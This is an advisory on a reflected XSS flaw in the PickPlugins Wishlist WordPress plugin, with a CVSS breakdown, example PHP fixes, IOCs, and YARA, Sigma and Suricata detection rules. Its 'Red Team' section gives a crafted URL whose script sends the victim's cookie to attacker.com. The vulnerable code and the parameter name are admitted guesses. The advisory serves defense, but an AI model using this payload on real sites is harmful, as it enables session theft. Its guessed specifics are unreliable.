CVE-2025-24655

Executive Summary

CVE-2025-24655 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Wishlist by PickPlugins, affecting versions up to and including 1.0.39. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session on the vulnerable WordPress site.

The CVSS score is 7.1 (High), with a network attack vector and low attack complexity. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress admin dashboard or via direct download are at risk. No known supply chain compromise of the plugin's source code has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing trojanized versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High (7.1) – Reflected XSS can be used in targeted phishing campaigns against WordPress site administrators or users.

Deep Dive & Mechanics

The vulnerability exists in the Wishlist plugin's handling of HTTP GET parameters. When a user visits a specially crafted URL, the plugin reflects the malicious input without proper sanitization or output encoding. For example, a parameter like ?wishlist_id=<script>alert('XSS')</script> would be echoed back into the page's HTML, executing the script in the user's browser.

The root cause is the lack of esc_html(), esc_attr(), or similar WordPress escaping functions on user-controlled data before output. The plugin likely uses echo $_GET['some_param'] or similar unsafe patterns.

Vulnerable vs. Patched Code

Vulnerable Code (wishlist.php or similar):

<?php
$wishlist_id = $_GET['wishlist_id'];
echo "<div class='wishlist-item' data-id='$wishlist_id'>";
?>

Patched Code (hypothetical):

<?php
$wishlist_id = isset($_GET['wishlist_id']) ? sanitize_text_field($_GET['wishlist_id']) : '';
echo "<div class='wishlist-item' data-id='" . esc_attr($wishlist_id) . "'>";
?>

The patched version uses sanitize_text_field() to strip malicious tags and esc_attr() to safely output the value within an HTML attribute context.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Craft the malicious URL:

   http://target-site.com/?wishlist_id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Deliver the link via phishing email, social media, or a compromised third-party site.

3. Victim clicks the link while authenticated to the WordPress site.

4. Payload executes – The script sends the victim's session cookie to the attacker's server.

No public exploit code is available. The above is a conceptual example.

Blue Team (Detection & Hardening)

• Web Application Firewall (WAF) Rules: Block requests containing <script> in the wishlist_id parameter.
• Input Validation: Ensure all user inputs are sanitized using WordPress functions like sanitize_text_field().
• Output Encoding: Use esc_html() or esc_attr() when echoing user data.
• Content Security Policy (CSP): Implement a strict CSP to block inline scripts.

Indicators of Compromise (IOCs)

• URL Patterns: ?wishlist_id=<script> or ?wishlist_id=javascript:
• HTTP Request Parameters: Suspicious values in the wishlist_id parameter containing HTML tags or JavaScript.
• Server Logs: Unusual referrer headers or repeated requests to the vulnerable endpoint with encoded payloads.
• Client-Side: Unexpected network requests to external domains from the WordPress site.

Detection Engineering

YARA Rule

rule CVE_2025_24655_Wishlist_XSS {
    meta:
        description = "Detects reflected XSS attempts against PickPlugins Wishlist plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24655"
    strings:
        $param = "wishlist_id=" nocase
        $script = /<script[^>]*>/i
        $onload = /onload\s*=/i
        $onerror = /onerror\s*=/i
    condition:
        $param and ($script or $onload or $onerror)
}

Sigma Rule

title: Reflected XSS Attempt Against PickPlugins Wishlist
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS payloads in wishlist_id parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "wishlist_id="
        c-uri|contains|any:
            - "<script"
            - "onload="
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of wishlist_id with non-malicious values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24655 Reflected XSS in PickPlugins Wishlist"; flow:to_server,established; content:"wishlist_id="; http_uri; pcre:"/(<script|onload=|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Wishlist plugin until a patch is released.
2. Short-Term: Implement a WAF rule to block malicious wishlist_id values.
3. Long-Term: Apply the vendor's patch when available. If no patch is forthcoming, consider replacing the plugin with an alternative.
4. Code Hardening: If you have access to the source code, apply the patched code example above.
5. User Education: Warn users not to click suspicious links, especially those containing wishlist_id=.

Valters IT
Securing Digital Frontiers